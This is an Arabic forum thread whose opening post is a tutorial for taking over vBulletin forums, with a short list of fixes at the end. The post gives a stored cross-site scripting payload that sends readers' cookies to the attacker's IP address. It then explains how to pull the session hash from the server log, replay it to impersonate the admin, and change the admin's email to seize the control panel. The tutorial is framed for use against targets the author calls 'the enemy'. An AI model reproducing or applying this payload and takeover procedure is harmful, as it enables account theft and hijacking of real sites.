اختراق المنتديات

اختراق المنتديات


صفحة 1 من 2 12 الأخيرةالأخيرة
النتائج 1 إلى 10 من 12

الموضوع: اختراق المنتديات

  1. #1

    Come اختراق المنتديات

    الموضوع : اختراق الـ vBulletin
    المتطلبات : WebServer (تركيب سيرفر على جهازك الشخصي) + متصفح انترنت (اكسبلورر) .
    المستوى : متوسط

    ملاحظة : هذه الطريقة ليست للـ vBulletin فقط !! يمكن ان تجربها على انواع اخرى من المنتديات .


    ----------
    الثغرة :
    ---------

    تنقسم طريقة العمل الى عدة اقسام .. أولا بعض السكربتات الخبيثة التي تسرق الكوكيز بالاضافة الى جعل المنتدى يستقبل
    بيانات من مكان خاطيء .. لكن يشترط ان يسمح المنتدى بأكواد الـ HTML ..

    قم بكتابة موضوع جديد او رد (في منتدى يدعم الـ HTML ) .. ثم اكتب اي موضوع والصق بين السطور هذا الكود :
    <script>document.write('<img
    src="http://my_ip_address/'+document.******************+'">';</script>

    مع ملاحظة تغير الـ IP Adress الى رقم الـ IP الخاص بك .

    وعندما يقوم شخص ما بقراءة محتوى الصفحة فان السكربت الذي قمنا بوضعه سيقوم بتنفيذ الاوامر في جهاز وقراءة جزء
    من احد ملفات الكوكيز التي تحتوي على الباسورد الخاصة بالمنتدى .. ثم يقوم السكربت بتحويل هذه السطور الى رقم
    الاي بي الذي قمنا بكتابته سابقا (مع ملاحظة انه يجب ان يكون على جهازي سيرفر مثل IIS او Apache او غيرها ) .

    وبعد ان تتم العملية بنجاح قم بفتح ملف الـ Log الخاص بالسيرفر الذي يحتويه جهازك ..
    مثال لو كان السيرفر اباتشي .. فتاح المجلد Apche واختر logs واختر Acces Log .
    ستجد جميع الاوامر التي طلبتها من السيرفر .. إلخ

    ابحث عن الكود الخاص بالباسورد .. مثال :

    GET/ bbuserid=86;%20bbpassword=dd6169d68822a116cd97e1fb








    ddf90622;%20sessionhash=a
    4719cd620534914930b86839c4bb5f8;%20bbthreadview[54








    20]=1012444064;%20bblastvi
    sit=1011983161

    فكر قليلا الان .. اين الباسورد ؟؟
    الباسورد موجودة لكن بطريقة مشفرة يصعب كسرها .. اذن مالحل ؟
    قم بنسخ الكود الذي وجدته والصقه في المتصفح .. بهذا الشكل
    http://www.victim.com/vb/index.php?bbuseri...sword=[password hash]
    ستجد عبارة : " أهلا بعودتك يـا ( اسم الذي سرقت منه الكوكيز....) "
    في هذه الحالة انت الان تستطيع التحكم بكل شي وكانك مدير المنتدى (الذي سرقت منه الكوكيز) ..
    لكننا نحتاج الى كلمة المرور للدخول الى لوحة التحكم .. اذهب الى (التحكم) وقم بتعديل البريد الالكتروني الى بريدك الخاص
    وثم قم بتسجيل الخروج .. ثم اذهب الى اداة Forgot Password .. وعندها تستطيع استقبال بريد يحتوي باسورد الادمن ..

    اعتقد انك تعلم ما يجب ان تفعله بعد ذلك !! ادخل الى لوحة التحكم وافعل ما تشاء .. !

    ------------
    الحل
    -----------

    للحماية من هذه الثغرة قم باغلاق الـ HTML في (المنتدى + الرسائل الخاصة + التواقيع + التقويم + ... )
    (واي منفذ يمكن من خلاله وضع كود HTML باي صورة كانت )

    كما يجب اغلا كود الـ IMG .. لانه ببساطة بامكانك استخدامه بدل كلمة <script> فاذا وضعت <img> او <Demon> او
    اي كلمة اخرى فانه سيتم تنفيذ السكربت بشكل او باخر ... لذا كن حذرا واغلق هذه المنافذ .
    Be Secret .. Dont' be Lamer .

    تاريخ اكتشاف الثغرة : 31 - 1 - 2002
    تم تجربتها على الاصدار 2.2.0 وهي تعمل بنجاح .


    أرجو أن تستخدموا هذه الطريقة ضد العدو وألا تستخدموها ضد إخوانكم العرب والمسلمين

  2. #2

    افتراضي رد: اختراق المنتيات

    ~مشكوووور على الموضوع ~

    ~ربي يعطيك العافية على جهودك ~

    ~يشرفني أن أكون من يرد عليك ~

    ~واصل تميزك و ننتظر كل جديدك ~

    ~الى الأمام أخي ~

  3. #3

    افتراضي رد: اختراق المنتيات

    الشرح صعب اوى

  4. #4

    افتراضي رد: اختراق المنتيات

    مشكوووووور والله يعطيك الف عافيه

  5. #5

    افتراضي رد: اختراق المنتيات

    شكرا وبارك الله فيك....لك مني اجمل تحية

  6. #6

    افتراضي رد: اختراق المنتديات

    الصحة والعافيه

  7. #7

    افتراضي رد: اختراق المنتديات

    مشكوووور على الموضوع ~

    ~ربي يعطيك العافية على جهودك ~

    ~يشرفني أن أكون من يرد عليك ~

    ~واصل تميزك و ننتظر كل جديدك ~

    ~الى الأمام أخي ~

  8. #8

    افتراضي رد: اختراق المنتديات

    مشكوووور على الموضوع ~

  9. #9

  10. #10

    افتراضي رد: اختراق المنتديات

    شكرا على كل حال

صفحة 1 من 2 12 الأخيرةالأخيرة

المواضيع المتشابهه

  1. اختراق المنتديات بس بمنتديات vb
    بواسطة سفاح الجنوب في المنتدى منتدى إختراق المنتديات
    مشاركات: 17
    آخر مشاركة: 02-17-2012, 03:33 AM
  2. اختراق المنتديات عن طريق ثغرة Html
    بواسطة ASDELY-ScOrPiOn في المنتدى منتدى إختراق المنتديات
    مشاركات: 11
    آخر مشاركة: 04-08-2011, 10:46 PM
  3. اقوىطرق اختراق المنتديات عن طريق ال Mysql
    بواسطة ASDELY-ScOrPiOn في المنتدى منتدى إختراق المنتديات
    مشاركات: 7
    آخر مشاركة: 05-21-2010, 08:17 PM
  4. اختراق المنتديات المجانية
    بواسطة fady elnemr في المنتدى منتدى إختراق المنتديات
    مشاركات: 4
    آخر مشاركة: 11-01-2009, 04:57 PM

المفضلات

أذونات المشاركة

  • لا تستطيع إضافة مواضيع جديدة
  • لا تستطيع الرد على المواضيع
  • لا تستطيع إرفاق ملفات
  • لا تستطيع تعديل مشاركاتك
  •